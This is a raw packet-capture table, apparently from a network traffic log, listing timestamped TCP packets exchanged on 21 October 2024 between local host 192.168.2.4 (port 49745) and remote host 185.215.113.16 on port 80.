Oct 21, 2024 10:46:23.138545990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.138570070 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139261961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139302969 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139311075 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139317036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139349937 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139354944 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139362097 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139370918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139386892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139398098 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139424086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139436960 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139436960 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139450073 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139461040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139471054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139472961 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139482021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.139492035 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.139517069 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140309095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140320063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140330076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140356064 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140368938 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140413046 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140448093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140460014 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140496016 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140518904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140531063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140539885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140551090 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140564919 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140579939 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140821934 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140832901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140845060 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140856981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.140870094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.140902996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.255038023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297180891 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297194004 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297204018 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297211885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297230959 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297241926 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297321081 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297331095 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297337055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297337055 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297350883 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297362089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297363043 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297374010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297396898 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297419071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297586918 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297605038 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297616005 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297629118 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297641039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297642946 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297657967 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297667027 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297671080 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297683001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297693968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297696114 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297717094 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297719955 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297729015 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297748089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297758102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297760010 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297768116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297779083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297786951 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297791958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297806978 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297810078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297821999 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297832966 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297833920 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297851086 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297859907 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297863007 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297874928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297893047 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297893047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297913074 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297918081 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297924042 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297935009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297945023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297950983 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297955036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297966003 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297972918 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.297976971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.297988892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298003912 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.298007965 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298011065 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.298017979 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298033953 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298043966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298052073 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.298058987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298070908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.298074007 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.298094988 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302293062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302349091 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302393913 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302411079 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302422047 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302438021 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302448988 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302450895 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302474022 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302504063 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302515030 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302525043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302535057 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302550077 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302555084 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302565098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302575111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302576065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302587032 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302588940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302598000 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302615881 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302639961 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302656889 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302675962 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302685976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302697897 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302707911 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302709103 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302720070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302731991 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302745104 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302753925 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302783012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302793980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302803040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302813053 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302822113 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302825928 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302839041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.302850008 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.302875996 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303067923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303077936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303090096 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303117990 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303129911 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303215981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303227901 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303236961 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303248882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303261042 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303261995 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303276062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303286076 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303287029 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303296089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303307056 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303316116 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303334951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303344011 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303347111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303347111 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303355932 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303378105 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303381920 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303401947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303412914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303423882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303435087 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303440094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303446054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303452015 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303457022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303469896 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303481102 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303482056 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303493023 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303503036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303513050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303514957 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303541899 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303543091 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303555012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303555965 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303566933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303576946 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303589106 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303592920 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303601980 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303611994 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303611994 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303623915 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303634882 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303647041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303653955 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303657055 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303668976 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303679943 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303680897 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303703070 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303719997 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303720951 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303735971 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303741932 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303747892 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303759098 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303770065 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303775072 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303781986 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303793907 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303793907 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303806067 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303817034 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303822041 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303828001 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303838968 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303844929 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303849936 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303863049 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303873062 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303878069 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303884029 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303894043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303900957 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303905010 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.303920984 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.303971052 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304310083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304321051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304331064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304341078 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304352045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304354906 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304363966 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304374933 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304382086 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304385900 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304395914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304403067 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304406881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304419041 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304430008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304441929 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304441929 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304459095 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304472923 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304485083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304493904 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304505110 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304514885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304518938 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304527044 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304537058 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304547071 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304547071 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304558039 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304560900 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304569006 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304579020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304589987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304590940 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304601908 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304601908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304601908 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304620981 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304632902 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304649115 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304656982 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304665089 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304675102 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304682970 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304696083 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304699898 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304707050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304717064 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304725885 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304733038 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304738045 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304748058 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304749012 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304759026 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304770947 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304778099 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304781914 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304790974 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304792881 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304805040 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304815054 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304825068 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.304830074 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304853916 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.304872036 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.305165052 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.305176020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.305186987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.305231094 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.309586048 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.375143051 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.375190020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.375200033 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.375209093 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.375261068 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.375291109 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.417387009 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.417398930 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.417407036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.417412043 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.417599916 CEST	49745	80	192.168.2.4	185.215.113.16
Oct 21, 2024 10:46:23.459378958 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459443092 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459460020 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459470987 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459486008 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459532022 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459542036 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459552050 CEST	80	49745	185.215.113.16	192.168.2.4
Oct 21, 2024 10:46:23.459569931 CEST	80	49745	185.215.113.16	192.168.2.4
